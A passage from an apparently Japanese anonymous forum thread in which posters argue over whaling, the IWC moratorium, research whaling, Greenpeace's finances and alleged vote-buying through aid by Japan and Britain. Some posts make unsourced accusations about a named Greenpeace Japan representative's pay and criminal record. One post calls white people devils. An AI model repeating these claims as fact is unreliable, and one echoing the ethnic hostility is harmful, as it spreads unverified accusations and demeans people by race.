やってるのに、なぜか日本はやろうとしないんだね。リコメンドには法的拘束力が
ないからですか？

モラトリアム以前もＩＷＣは捕鯨に自主規制枠を導入して頭数制限してたわけで
商業捕鯨を再開させたところでこの枠組み内でやる分には問題ないわけで。

ところが、反捕鯨団体は息巻く。「1000頭も虐殺している」「動物虐待だ」

つまりさ、これって非致死的調査か致死的調査かっていう問題よりももっと単純な議論
「お願いだからクジラを殺さないで」っていう感情論の問題でしょ

彼らの主張をまとめるといつもこんな感じだよね
・商業捕鯨は未来永劫ありえない
・資源調査なら非致死的調査で
・野蛮な鯨食文化は廃れてしまえばいい
・代わりに牛や豚や家畜の肉を喰え
・家畜業は環境汚染甚だしいが、クジラ（人間よりも優秀な生き物）が殺されるよりずっとマシ
・常に俺様ルールで我が物顔。俺は常に正しくて、俺の行動が世間で違法でもそれは「綺麗な法律違反」
・俺たち環境派、ﾏｼﾞ十字軍なみにかっけー。惚れるなよ

ってことだろ

>>259
＞モラトリアム以前もＩＷＣは捕鯨に自主規制枠を導入して頭数制限してたわけで
＞商業捕鯨を再開させたところでこの枠組み内でやる分には問題ないわけで。

その自主規制枠組みが、現代日本の業界談合みたいなことになっててね、
違法、抜け駆け、海賊捕鯨もやり放題。次々に世界の海域から大型鯨種が消滅して
いったって状態だったんだな。それがあまりにもひどいというので国連が1972年に
ストックホルムで国連人間環境会議というのを開き、捕鯨モラトリアムをIWC
に対して勧告したのです。

＞ところが、反捕鯨団体は息巻く。「1000頭も虐殺している」「動物虐待だ」

このときの国連の原動力は、反捕鯨団体なんて、そんな小さなものじゃないですよ。
後に京都議定書や地球温暖化防止会議につながる要因、さらに国際経済に倫理性を
要求する政財界人の集まり「世界経済フォーラム」等々、さまざまな流れがここで
合流していると見るのが適切でしょう。

＞つまりさ、これって非致死的調査か致死的調査かっていう問題よりももっと単純な議論
＞「お願いだからクジラを殺さないで」っていう感情論の問題でしょ

非致死的調査で出来るということが明らかなのに、あえて致死的調査で強行するのは
なぜか、というのが依然として国際会議の場や、世界のマスコミ、学術雑誌で
問われてるわけですね。

「お願いだからクジラを殺さないで」という人たちも海外マスコミの消費者に
多いでしょうが、現代の科学倫理に即して仕事をしている人たち（たとえば
重要な薬の開発には動物実験は許されるけど、歯磨の新製品開発には動物実験が
許されず、苦労している人たち）なんかも、今の日本政府の、完全に職業倫理を
コケにしたやり方には、腹を立ててるでしょうね。

>>261
非致死調査でできることはそれでやってるらしいよ。

結局、反捕鯨と鯨（野生動物の保護）はまったく関係ないんでしょ。
グリーンピースの言ってることは、単に「鯨をとるな」ということであって、
ベジタリアンの言う「肉を食うな！」の域をでない。
「欧米では常識だ！」とがなりたてても、もう日本人はだまされないよ。

グリーンピースのやってることは「絶滅危惧種の保護」でも「環境保護」でもない。

結局、反捕鯨団体の飯のタネにIWCが踊らされているんだよな。
俺はこのスレで、グリーンピースの「収支報告」「役員報酬」は情報公開されているのか？
と何回も聞いたがいっこうに答えは返ってこない。
「グリーンピース・ジャパン代表星川淳の年報酬は2600万」この説をだれも否定できないんだよ。

鯨の保護は必要だが、パフォーマンスに莫大な寄付金を浪費するグリーンピースは、野生動物の保護の観点からみても害でしかない。

あと、最近グリーンピースは明治製菓を「遺伝仕組みかえ原料使用」でバッシングしてるみたいだが
なぜ、森永や江崎グリコ、ロッテは叩かないんだ？
遺伝子組換え原料使用といっても、添加物の原料の大豆に使用されているだけだろ
本来叩くべきは米国の巨大・大豆穀物産業だろうに。

違法かどうかになるなら、条約で調査捕鯨は認められている以上、
条約を改正しない限り合法だ。

qqq

豪人の言うとおり捕鯨禁止になり保護することになったら
頭数の少ない（繁殖能力・捕食能力・適応能力の低い）
鯨はまっさきに絶滅へ向かいそうだね

しかし、つくづく思うわぁ。

先の週末あたりから代わりばんこに出没のおおよそ二匹に共通してるのは、

もうこれ、世界の潮流なんだよ
お前らが知らないだけ
ほれほれ目を覚ませ
遅れてるぞ

ゴアなんて、とっくに底が割れてるパチもん持ち出してまでのこの調子。

思い出すのは前々世紀終わり頃から前世紀前半あたりの

起て!万国の労働者
世界同時革命
歴史の必然
ソヴィエトの目覚しさを見ろよw

元々愛鯨なんてのは、「俺達はもう止めた」「故に俺達は倫理の点で最も進歩している」
(実は石油化学と産業の発展で経済的に必要なくなっただけ)
(管理の手間暇と引き合わなくなったのと機械化の発展で、黒人を奴隷として使役する
利益消滅から、それを止めたのと同じ)
という、「俺達こそが真にエシカルな文明人」「同意しない奴野蛮人」から来てるわけだが、
これを拡げて一般化して環境保護全般としても、結局同じようなこと言ってんだよね、

十数年前、パソ通で誰かが言ってた「環境保護だの地球にやさしくって、要は人類が
新たな娯楽を見つけただけ、(いくつか理由列挙)〜というわけで、これは共産主義以来の
ヒットになるね」、これが益々納得できるようになってきた今日この頃。

向う数十年、いかに飲み込まれないように捌くかだねぇ…

反捕鯨側は非致死的調査でも致死的調査でも、どちらでもよいから、できるだけ早く鯨の資源調査を本気でしなさいよ。
そしてもし商業捕鯨可能なら再開すればいい。
もし駄目ならば保護するしかないでしょう。
ただ時間延ばしをして捕鯨をあきらめさせるようなセコイことをするなよ。

>>260
>違法、抜け駆け、海賊捕鯨もやり放題。
>次々に世界の海域から大型鯨種が消滅していったって状態だったんだな。

その話は半分あたってるけど半分間違ってるんじゃない？
たしかに、アングロサクソンの欧米諸国は
IWC科学委員会が頭数制限守りましょうと再三勧告してたにもかかわらず
これを無視して馬鹿みたいにクジラを乱獲しまくったよね。
生産効率のよい大型種に限定して、鯨油のためだけにさ。
んで、1950年代にすでに大型種は獲り尽して資源量が激減。
鯨油を採取するには効率が悪いってんでアメリカは早々に商業捕鯨から手をひいていた。
だから、大型種のシロナガスクジラなんかはモラトリアム以前から捕鯨禁止にされてたじゃない。

そーいう経緯があって、1964年にはよーやく科学委員会で定められた頭数よりも
少ない枠組みで、それも鯨種を限定させて細々と捕鯨が行われていたわけで
「あまりにもひどい」状況はすでに終息に向かっていた矢先に
全種類の商業捕鯨モラトリアム採択でしょ。

＞非致死的調査で出来るということが明らかなのに、
＞あえて致死的調査で強行するのはなぜか
それは思考の順序が逆じゃない？食べるための捕鯨を排除しないことを前提にして、
資源状況が明らかになるまで、当面は科学的に試算される捕鯨頭数よりも
厳しい頭数制限を設けて調査捕鯨しましょうって条件なら
日本政府も「非致死的調査」での調査に合意（歩み寄り）するでしょうね。

＞現代の科学倫理に即して仕事をしている人たちは腹を立ててるでしょうね。
科学調査と名づけるからではないでしょうか。
食べるための捕鯨行為を全否定してしまった時点で、
ボタンの掛け違いが起こっているように私には思えるのですが。

訂正

＞それは思考の順序が逆じゃない？食べるための捕鯨を排除しないことを前提にして、
＞資源状況が明らかになるまで、当面は科学的に試算される捕鯨頭数よりも
＞厳しい頭数制限を設けて調査捕鯨しましょうって条件なら

食べるための商業捕鯨を厳しく制限させたうえで、
別途で調査捕鯨を行うという条件なら
日本政府も「非致死的調査」に合意するだろう。という文意でした。

・食べるための、売るための商業捕鯨は「倫理的」にダメ！
・調査捕鯨は科学的見地からみても「非致死的調査」で十分だ！

これじゃあ、国内の捕鯨産業は死活するでしょうということです。

体裁を取り繕ってるだけでハナからそれが目的なんじゃないの？

また反捕鯨カルトが論破されてんのか。

論破されようがしつこく同じ書き込みをする。
話し合って解決ではなく、単に嫌がらせ。

>>275
反捕鯨運動って、それの規模の大きくなったような感じがしますね。

>>275
＞話し合って解決ではなく、単に嫌がらせ。

おまえらも一緒だろｗ

>>272
>食べるための商業捕鯨を厳しく制限させたうえで、
>別途で調査捕鯨を行うという条件なら

ははは、これと同じこと1990年代後半にミナミマグロでやって、調べてみたら
違法捕獲、違法入関やり放題、あとで国際機関に罰金払って日本のミナミマグロ
漁獲枠は半永久的に半減という、国民にとっての大損害をやらかしたのが、当時の
ミナミマグロ担当水産官僚、小松政之と森下丈二のご両人だな。

この二人は、この一件で世界の水産業界では良く知られた下劣官僚なのだが、
こういうのが2000年代になって捕鯨担当となり、外国のテレビや国際会議で
ドキュソ発言やりまくってんだな。こういう人物たちが日本人の品格を落とし
ているのだということに、いいかげん気付けよ　―＞水産族議員

>日本政府も「非致死的調査」に合意するだろう。という文意でした。

合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？　　
なんか、非加熱製剤／加熱製剤とか、昔あった事件のそのまんま東w

国益に反するからやり過ぎない方がいい

>>279
漏れもそう思う。

>合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？

誰の当然?

それと、不法な妨害が無ければ費用ほぼ回収という、裏打ち付きで日本が行っている
南極海等でのそれに匹敵する規模と範囲と期間の非致死的調査が「行われている」の
ソースまだ?

☆ ﾁﾝ

　　　 　 　 ☆　ﾁﾝ　　〃　 ∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 　 　 　 　　ヽ　＿＿_＼（＼・∀・）＜　 GPの収支報告と役員報酬の情報、まだー？
　　 　 　 　 　 　 ＼＿／⊂　⊂＿)＿ ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　 　 　 　 　 ／￣￣￣￣￣￣￣／|
　　　　　　　　| ￣ ￣￣￣￣￣￣:|　:|
　　　　　　　　|　　　　　　　　　　　.|／

グリーンピース・ジャパン代表星川淳の年報酬は2600万

グリーンピース代表に恐喝・暴行の前科
http://www.tanteifile.com/newswatch/2007/11/17_01/index.html

日本が捕鯨やめるとして、
そしたら次はタコ漁禁止とか言ってくるかもしれないよ。
タコがかわいいって言っているオーストラリア人がいた。

いつから捕鯨に反対する国が出てくるようになったんだ?
白鯨という小説もあったよね。あれはいつの時代のことだったんだろ。

>>278
>合意も何も、非致死でできることは非致死でやらなきゃいけないなんて、当然でしょ？
反捕鯨の連中はその一点だけ連呼してりゃ
あの愛くるしいクジラちゃんたちを虐殺の悲劇から救えるからそれでいいんだろうね

そーいや先日、動物愛護団体PETAは日本の「たこ焼き」文化にもイチャモンつけてきたよね。
「たこ焼きを食べなければ、日本は環境先進国になれるし、日本人は幸せになれる」だぜ。
それで自分たちは倫理的に高い立場に立ってると思い込めるわけだ。
寄付金を集める口実を作るのも一苦労だねｗ

>>285
たこ焼きの何処が悪い？
ていうか、「たこ焼き」文化ってなんじゃ？

タコも食えないような牧畜一辺倒のほうが環境に悪いのにね。

たこ焼きも知らんのか最近の日本人は･･･

タコの肉ってタンパク質が濃ゆいんだぞ。
弾力があって噛めば噛むほど旨味が染み出てくる。
欧米人も食うべきだ。

スーパーボールや大リーグで、ハンバーガーやホットドッグが無くなったら何て言うかな。

馬鹿、今はもうタコ不足なんだぞ
何でもかんでも外人に喰わすな

そのうち、大豆と虫くらいしかタンパク源がなくなるんじゃないか？
オージー大陸はそうなりつつあるようだし…

アホですか魯鈍ですか害基地ですか？
家畜も飼育できない自然環境に変化した時点で、野生哺乳類（クジラ）は死滅してます。
危うい状況で生存してるクジラで捕鯨ゲームですか？

いいこと思いついた！
途上国に、今度は畜産・農業にODAを注ぎ込むんだよ。もっと。
そしてそっから牛肉や小麦粉なんかを日本に輸入する。
そして彼らも日本に一票。

>>294
それいいなw

豪への当て付けにインドネシアに穀物生産援助しまくって将来の穀物輸入を
そっちにシフトさせてしまおう。
中国バブルが崩壊すれば豪は日本にも売れない小麦在庫を抱えて農業崩壊しちゃうなw
どっち道日本ほどの価格で量を買える国は無いんだから。

そもそもオーストラリアの農業のやりかたが、
持続可能じゃなかったんだよね。
降水量が少ない土地なのに、イギリスと同じ農業を
強引にやって。
森林伐採、放牧で、塩害・水不足。

乾燥地に耐えうる作物を、と現在遺伝子組換え技術を
研究中。

こんなの、食いたくない。

調べてみたらフィリピン、インドネシアは未だIWC加盟してないのに
小型捕鯨の伝統はある。

味方に付けない手は無いなw
インドネシアと日本が接近すれば豪は焦ってくるだろう。
ラッド政権は永年の対インドネシア確執に何の有効打も打ち出せてないから
お馬鹿なラッド政権中にインドネシアと近づいておくべしw

インドネシアは、すでに確か、日本のODA授与国ナンバー2だよ。
親日は多いと思う。

同時に、インドネシアはオーストラリアの最重要援助国だよ。
オーストラリアのODAはOECD内で15番目。日本とは比べ物にならないくらい。
テロ攻撃を防ぐことを国家安全保障の戦略として、インドネシアでは
警備や地方分権なんかに力を入れてる。

あと、環境NGOはあまるほどウジャウジャしてて、日本なんかの大型ODAには
反対的な意見もチラホラ。

なんとか日本のODAがうまく使われてほしいね。

>>293
いいえ、ケフィアです。

>>298見てると日本が他国を金で買ってるという批判に反論できないな・・・

ODAは純粋な途上国援助ではないね。日本だけじゃないよ。

オーストラリアのAWBって知ってる？（オーストラリア小麦団体？）
国連の「Food for Oil」ってプログラムなんだけど、賄賂使って
フセイン政権時代のイラクと、小麦と引き換えに石油をもらう
契約結んでたんだよ。

それが米軍のバグダッド進行で見つかって、賄賂の金がイラクでは
武器購入に使われてたのでは、なんて、去年あたりニュースで聞いた。

でも、世界中のイデオロギーがぶつかり合う中で、やはりODAも
ひとつの外交手段として必要ではないかと。

現地で必要とされていることが前提だけどね。

捕鯨だけのために外国と事を構えようとする馬鹿がいる。

>>300
ODAは外務省の管轄
水産関係の交渉は水産庁
日本の縦割り行政なめんな！で終了

いや、捕鯨だけではないでしょう。外交だよ。結局持ちつ持たれつだよ。

でも、外国は日本の縦割りなんて知ったこっちゃないよ。
「日本がやった」だよ。

まあイギリスも同じことしてるんすけどね
でも、反捕鯨派にいわせりゃイギリスは「綺麗な買収」日本は「汚い買収」


英国のベケット外務大臣は下院議員からの質問に答えるかたちで、

英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、
ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、
反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと、

このうち、クロアチアとキプロスがすでに国際捕鯨委員会に加盟し、
エストニア、ギリシア、ラトビア、ルーマニアが、国内措置が完了次第
加盟する旨表明したと明らかにした模様。

http://www.publications.parliament.uk/pa/cm200607/cmhansrd/cm070312/text/70312w0018.htm
(英国下院・議会議事録)

捕鯨も国益だから、そのために外国と事を構えても当然。

中国なんてアフリカに対して露骨に援助外交してるよね

日本が常任理事国になろうとしてたとき、日本は10人の政治家を
アフリカに送ったんだよ。ODAをちらつかせて宣伝のためにね。
それに対して中国はアフリカに、100人送ったんだよ。日本に票を
入れないようにね。

なーんでそこまで日本が気に食わないの？？？
本当は日本のこと、大好きなくせにーーー。

>>307
嘘をついても、やるか？
例の写真の件はどうなった？
日本人の負傷の証拠写真はどこにある？

嘘をついたら負け。
たとえ同じ日本人は騙せても、外国人は無理。

どれほどの国益か？
役人益だろ」。

え？じゃ、負傷したのって、うそ？

ここの連中の国益は、私益。

>>313
証拠がなくては、人を罪人呼ばわりしてはいけないってこと。
ましてや、テロってなんだよ。情報操作やね。

白人は100回嘘ついてもいいが、
日本人に対しては1回のミスでも、馬鹿みたいに騒ぐ

はっきり言って、キモチ悪いわ
あんたら

>>315
>>310
あなたも嘘つき呼ばわりしてはいけない

暫く影を潜めてた「連投バカ」が舞い戻ってきたみたいですねw

>>306
>英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、
>ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、
>反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと

外交ルートを通じて国際捕鯨委員会参加を申し入れる、というのは「買収」に
あたらないですよ。

国連海洋法条約の附表Iで、国際的公共財と定められた鯨、イルカ類の保護管理に
あたるべき国際捕鯨委員会が、明らかに日本の極小国、最貧国に対する選挙区
レベルまで緻密に計算した異常な買収行動で歪められているので、そのような
バイアスのかからない参加国を増やし、正常化するというのが英国、欧州連合の
意図です。

参加して、どういう判断、投票をするかは新加盟国の自由です。欧州連合全体
として、援助対象国に対し、差別撤廃条約を履行するようにとか、人権や環境に
関する国際法を尊重するようにという、大枠の法治主義的な要請、誘導はあり
ますが、捕鯨反対に投票しろなどという、個別争点での露骨な強要はありえないです。

そんなことやったら、欧州連合内にも少数ながら存在する商業捕鯨賛成派から
欧州司法裁判所に提訴されて、英国政府なり、欧州委員会が敗訴します。

抽出 ID:51li1Puh0 (6回)
抽出 ID:OFzsnppD0 (8回)
最近春だな　ｗｗ　全力スルーお願いします。　過去スレの流れすらとばしてる春厨ｗ

過去スレの流れからいうと、YouTubeの反捕鯨側と日本側で、説得力のツボに
どう違いがあるのか、というあたりが気になるとこだったんだね。

両方ともイメージ系が多い中で、グリーンピースのフーテージが理論的な
争点をクリアにしたんで、話が難しくなったわけだ。どーすりゃいいの？

>>315
その台詞、ポール・ワトソンにも言ってやってよ
通称ヨーコさん

>>319
＞そのようなバイアスのかからない参加国を増やし、正常化するというのが英国
あんた、どこのまわしもんか知らんが、
その悪魔じみた日本国像はいったいどこから仕入れてきたんですかねｗ
それと天使のように穢れのない英国像もねｗ　はっきりいって気持ち悪いよあんたら

グリーンピースジャパンの代表に恐喝・暴行の前科

　当時の報道では、8月2日付で次のように記されている。「会社員の顔をたたくなどしてけがをさせ、
6年前の事件の心理的な傷の治療費として約100万円を脅し取ろうとした疑い」。
　日頃は「民主主義的な成熟した討議」を掲げるはずの市民団体関係者が、
こんなことでよいのかと思わずにはいられない。
http://www.tanteifile.com/newswatch/2007/11/17_01/index.html

>>306は動画製作に使えそうだねw

>>319
＞そんなことやったら、欧州連合内にも少数ながら存在する商業捕鯨賛成派から
＞欧州司法裁判所に提訴されて、英国政府なり、欧州委員会が敗訴します。

貴方達が言うには日本はその逆をやってる訳でしょ？
どうして何年も前から「日本は買収してる！！」なんて言いながら誰も提訴せず、
だからこそ敗訴もしてないのは何故ですか？

「捕鯨賛成小国」も貴方の言うように自由意志で捕鯨賛成票入れてるだけ
なのに何故賛成側の買収だけ疑い、反捕鯨側の買収は無い、言い切れるの？

クロアチア、キプロス、エストニア、ギリシア、ラトビア、ルーマニア。

どこも大なり小なり情勢不安抱えてる小国ばっかw
クロアチアやエストニアなんか絶対クジラ保護なんか気にしてる場合じゃない国だよw
「EUに加盟させないぞ！！」とか「NATOに空爆させるぞ」とか脅して反対票
入れさせてるんじゃないのぉ？w

>>322
シーシェパの方こそ撃たれたとかいくらなんでもありえない嘘ついてるんだが

自ら船に乗り込んで「人質を取られた。テロだ」と断定してたよね。
それで世界は騙せても日本人は騙せなかったねｗ

>どうして何年も前から「日本は買収してる！！」なんて言いながら誰も提訴せず、
>だからこそ敗訴もしてないのは何故ですか？

欧州司法裁判所と違って、国際司法裁判所の場合は被害国、この場合は買収され、
政府の方針を歪められたとする国の提訴がなければことがはじまりません。

したがって水産庁（およびその出先の外務省水産室）はカリブ海諸国の政権担当者
選挙区に補助金事業をおろすばかりでなく、政権交代の可能性のある野党有力議員の
選挙区にも、水産土木事業をあらかじめ約束しておくのです。

>>328
おいおい、水産庁は巨大シンジケートかよｗ
どこまで、電波なんだｗ

>>328
なんだかんだいって、日本の買収なんかじゃないんじゃ〜んw
「疑わしい」ぐらいのレベルで「買収だ！！」「違法だ！！」って騒いで
実際はいつまでも、何にもやんない、やれないのが貴方達のモノ哀しさだよね〜〜w

EUのは立派な脅迫、もとい買収みたいですけどwwww

嘘つき。

見返りのない政治的要求なんてあるはずねーだろ
国家を舐めてんのか

大英帝国がどーやって植民地を抱えてきたか
英国に自分勝手な天使像を投影してる痛いお子ちゃまは、
よくよく歴史を勉強しろや

>>328

水産庁よりもＧＰの方が金持っていそうだ

だいたい白人は悪魔だ。いろいろな国の先住民を中国みたく殺しているくせに。
中国みたいな最低な国だな。白人は悪魔だな。アメリカ、オーストラリア、イギリスなどなど

>したがって水産庁（およびその出先の外務省水産室）はカリブ海諸国の政権担当者
>選挙区に補助金事業をおろすばかりでなく、政権交代の可能性のある野党有力議員の
>選挙区にも、水産土木事業をあらかじめ約束しておくのです。

これは良いねぇw

では、どの国のどの議員の選挙区の何の事業に、何時どれだけの金が投入され、
そしてそれが与党側になった、という例を5つほど、証拠を添えて列挙してみてちょw

JAPAN’S “VOTE CONSOLIDATION OPERATION” AT THE INTERNATIONAL
WHALING COMMISSION:
WINNING A MAJORITY IN ST KITTS AND NEVIS, JUNE 2006 Third Millennium Foundation
水産援助プロジェクトは非常に目立ち、数百万、数千万ドルの建造物になるという特徴があるため、
小国ではどこにこれを持ってくるかということが、国内政治の争点になりやすい。
援助施設の場所決定が、首相や政府閣僚の選挙区とリンクされるようになると問題が発生する。
オブザーバー紙はドミニカで、歴代３代の首相選挙区に援助案件がオファーされたと報じている。
（The Observer, 13 May 2001, “Save the Whales? Not if Japan’s bribes pay off”, by Anthony Browne.）
アサートン・マーティンの説明によると、「90年代半ばには当時の首相、マリー・ユージニア・
チャールズの選挙区に日本の漁業施設建設は認可された。第二の日本の援助物件、漁業関連施設は
90年代後半にエディソン・ジェイムズ首相に対して約束された［この施設は、ジェイムズ政権が
IWCでの日本支持について、ブレを見せたため、約束の期限には建設されなかった。ドミニカが
完全に日本と連動するようになった2002年に、ようやくこれは無償援助となった］。
日本の無償援助は故ルーズベルト・ダグラス首相の時にも約束された。施設はダグラス氏の選挙区
に建てられることになった。ここには援助と援助約束のパターンがあって、首相の選挙区の位置に
よってそれが巡回移動している。そもそもの漁業部門発展にとって、意味ある理由付けがあるわけ
ではない。」（BBC “Newsnight”, transcript of interview with Atherton Martin, November 2000.）
これは1999年のIWCグレナダ会議に際して、日本がジャマイカに対して取った戦術と同じである。
ジャマイカはIWC代表団名簿に登録し、会議書類にも枠が与えられるというところまでことは
進んでいた。会議の直後にジョン・マクスウェルがジャマイカ・オブザーバー紙に書いている、
「日本は最近ジャマイカ首相の選挙区に漁業施設を完成させた。日本側は我が国水産省から、
ジャマイカ票はもう簡単に手に入ると知らされたにちがいない。幸か不幸か、水産地下世界の人々
は、ここではアンティグア、セントルシア等々とはちがい、実際に外交政策を決めるのが誰か
ということを当のパターソン（当時首相）あるいはマリング外相（当時）に確認するのを忘れて
いたのである。」（ Jamaica Observer, May 1999. “A Whale of a Story” by John Maxwell.）

2001年IWC会議２週間前を過ぎてから、セントクリストファー（サンキッツ）・ネイヴィスは
日本政府とニュータウン、バセテールの水産センター建設についての交換公文をかわした。
この合意は与党労働党の大判宣伝紙Labour Spokesmanに大きく取り上げられ、「（労働
党の）2000年選挙公約、東バセテール、オールドロード、ディエップ湾およびその他
のサンクリストフアー漁業市町村に近代的漁業施設を、というスローガンが実現した」
と喧伝された。このプロジェクトはこの区域を選挙区とする当時の環境相、アール・
アシム・マルティン氏（Minister of Public Works）の発議によるものであり「内閣の閣僚と
協力してこれを確実なものとし、2000年の労働党総選挙マニフェストにこれが拡大
された形で織り込まれた」（The Labour Spokesman, St Kitts, 11 July 2001）と説明されている。
ここでは日本が資金手当する漁業施設のオファーが国政政治家の選挙民への公約となり、
日本との計画段階の約束が国政選挙の結果に影響を与えるものとして効力を発揮して
いるのだ。

もうひとつの顕著な例はふたたびドミニカである。2001年5月下旬、IWCロンドン会議の２ヶ月ほど
前にドミニカの首相、ピエール・チャールズがラジオ・インタビューで、ドミニカのIWCでの投票は
「会議そのものにおいて明らかにされるだろう」と発言した。これはすでにオーストラリア／
ニュージーランド提案の南太平洋鯨禁漁区に反対票を投ずると表明していた東カリブ諸国政府とは
対照的だった。 （AP Worldstream, 3 June 2001）
彼はまた、ロンドンでドミニカを代表する主席政府代表として、2000年に辞任したアサートン・
マーティンの後任として水産大臣になっていたロイド・パスカル以外の人物を指名する意図の
あることをほのめかした。チャールズの発言は首相自身の選挙区ポーツマスの労働党ポーツマス
支部から党内全体に激しい論争を引き起こした。このポーツマスで、日本援助による漁業施設建設
が予定されていたからである。

セントヴィンセント・ヘラルドによると、ポーツマス支部は首相に対し、日本を支持してサンク
チュチャアリ案に反対し、パスカルをIWC代表に再任することを強く要望する決議を出した。
「政府がこれまでの捕鯨賛成のスタンスを変えれば、すでに予期されている北の町ポーツマスと、
北東の村マリゴットの日本政府援助による漁業施設計画を犠牲にすることになるのではないか、
という恐れが会議を支配した。同様の危惧を表明して野党、連合労働者党（UWP）も水曜日に、
週のうちにマルゴットでこの問題を議論するための公開討論会を開くと告知した。
マルゴット選挙区選出の野党党首、エディソン・ジェイムズはドミニカの必要に関して政府は
鈍感だと批判した。＜これは単にポーツマスの問題だけではない、国民的課題である。実際、
マルゴットの住民、そして北東部の住民すべてがこの問題に関心を持っている＞とジェイムズは
カリビアン・ニュース・エイジェンシーに語った。
ジェイムスは彼の選挙区ですでに先週、４月に始まっているべき漁業施設の作業が遅れているのは、
政府の「優柔不断」のせいであると非難した。（ St Vincent Herald, 4 June 2001）
他のところでエディソン・ジェイムズは「われわれは日本と関係を持っている、われわれが違う
決定をする前に、彼らがここに来て、首尾よくいろいろな約束を実行できるようにしてやるべきだ」
と語ったと伝えられている。（St Vincent Herald, 1 June 2001）

こういうところが哀しいんだよね、クジラ哀誤団体の人って。

興味深いことに、このリポートの他のところで注意を喚起している人物、アンティグア・バブーダ
のデイヴン・ジョセフが、このドミニカの選挙区集会にも出席しているのである。
彼は参加者たちに対して、もしドミニカがIWCを欠席するか、あるいは棄権するならば「ドミニカ
は開発のチャンスを失うだろう」と語りかけた。さらに彼はアンティグア・バブーダがIWCで日本勢
に加わってから得たさまざまな利得を数え上げた。「アンティグアは1996年以来、日本資金による
大型プロジェクトの恩恵を受けている。たとえば水産施設、バスターミナル、セントジョンズで
実行可能性調査が進んでいる下水システムなどがある。しかしドミニカが日本の援助を受ける場合
の障害は、歴代内閣のふらついた立場にある」と彼は言った。（St Vincent Herald, 1 June 2001）

結局ドミニカはロンドンのIWC会議で南太平洋鯨禁漁区案に反対票を投じた。この票を投じたのは
すでに水産大臣ではなくなっていたが、ドミニカ政府代表としてのロイド・パスカルだった。
IWC会議の前の週、首相と彼の新水産相、ヴァンス・ヘンダーソン（Vince Henderson）は
７日間の日本訪問旅行をおこなった。この旅行の成果として「2002年3月末以前に日本から
技術協力派遣団をドミニカへ送り、ポーツマスの漁業プロジェクトの実行可能性調査を行う．．．
首相［チャールズ］．．．は日本の確定した長期方針、一時に一つのプロジェクトだけを行う
という方針は変わらないと言っている。マリゴットの水産プロジェクトはルゾーの修復作業が
終わってから開始ということになる。ドミニカのリーダーは国の日本との友好関係を「温かい」
ものと表現した」（Dominica Chronicle, 27 July 2001）
出席者個人のことについては、多くのIWC観察者が記述をしているが、援助受け取り国の政府代表
たちはIWC会期中、日本代表団およびその同伴者たちの綿密な監視下にある。オブザーバー紙
によると、「IWC会議で日本は、島嶼国の代表団員たちに対して後見人役としてその戦術を遂行
している。＜彼らは代表団員たちに一刻として自由を許さない。カクテルパーティーの時に
さえそうである。うんざりだ。ぞっとするほどだ、これはもう植民地主義を超えている＞と
［アサートン］マーティンは言っている。」（The Observer (U.K.), Browne, op. cit.）
ジョン・マクスウェルは東カリブ海諸国IWC代表団の記者会見に2001年IWC会議の初日、出席
した。彼の記述によると、発言者たちはこの機会を利用して票買いの非難を打ち消そうとした。
「独立して、自立的なカリブ海諸国は彼らの記者会見を日本のミーティングルームで行った、
彼らの調教師に至近から見張られながら．．．．．」（Jamaica Observer, 29.07.2001, op. cit.）

>>339
訂正＞日本を支持してサンクチュチャアリ案に反対し
ー＞日本を支持してサンクチュアリ（鯨保護区）案に反対し

ジャマイカやグレナダ、それにドミニカ
これらの国々はまわりが海に囲まれた島国じゃない。
日本は水産大国としてそういう国々（途上国）に水産技術を支援し、
自活できるようにしてきたわけだ。
捕鯨問題での日本の立場ははっきりしていて
「海に生きる動物も魚も資源として有効利用できるし、
自国の資源で経済活動（商業行為）を行うことは当然」という考え方だね。

なんというハートフル・ストーリーｗ
ODA諸国が捕鯨賛成派になるのもうなずけるね。
これを国際貢献といわずしてなんというのだろうか。

一方、反捕鯨国は
「海洋生物は人間に殺されるために生まれてきていない」
「残虐な虐殺に”みえる”からかわいそう」
「野生生物を殺してしまっては彼らが普段どのように生きているかわからなくなる」
「野生生物は人間にとって資源（食べ物）ではない。」
感情論が先行したわけだ。クジラと関係ない国がなぜIWCで反捕鯨国なんだろうねｗ

>>306の、

＞英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、
＞ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、
＞反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと、

これは酷いと思うよ、イギリスのやり口。
欧州選りすぐりの貧乏国ばっかり集めてさ・・・

旧ユーゴやバルト3国なんか金で釣らなきゃ何で釣るのよ？
直接金じゃなきゃそれこそNATOの脅しかEU仲間外れの脅迫でしょうよ。

穢い穢い、汚れた要請だよ・・・

日本は、途上国が自国の水産資源を用いて
経済的自立を果たし自活できるようにカネ・技術の両面から支援した
これらの国々は自発的に捕鯨賛成国となりIWCに加盟した
一方、反捕鯨国は、捕鯨と関係ない
小国相手に脅迫と恫喝で迫り、IWCで組織票を集めたとさ

この差は大きいよ〜

だからね〜、日本はプロバガンダが下手なのよほんとに。
イギリスという国はさすがに一時代を築いた国だけあって、多少汚かろうと
自分の趣旨に全体を持って行くのがほんとにうまいわ。
日本もそのへんは見習ったほうがいいと思うよ。

>>344
>日本は水産大国としてそういう国々（途上国）に水産技術を支援し、
>自活できるようにしてきたわけだ。
>捕鯨問題での日本の立場ははっきりしていて
>「海に生きる動物も魚も資源として有効利用できるし、
>自国の資源で経済活動（商業行為）を行うことは当然」という考え方だね。
>なんというハートフル・ストーリーｗ

その立派な日本の水産行政で、肝心の日本漁民はシアワセになったのかな？

はいはい、ワロス。白人の買収はきれいな買収ね

＞自立的なカリブ海諸国は彼らの記者会見を日本のミーティングルームで行った、
彼らの調教師に至近から見張られながら．．．．．」

調理師ってｗ

>>349
白人が有色人種を見るときの感性がよく判る発言だよね

ソースが全部ＢＢＣってのが笑えるよな
シーシェパード専属の特派員かかえて、
彼らの捏造報道を日々大々的にプロパガンダしてる局でしょここって
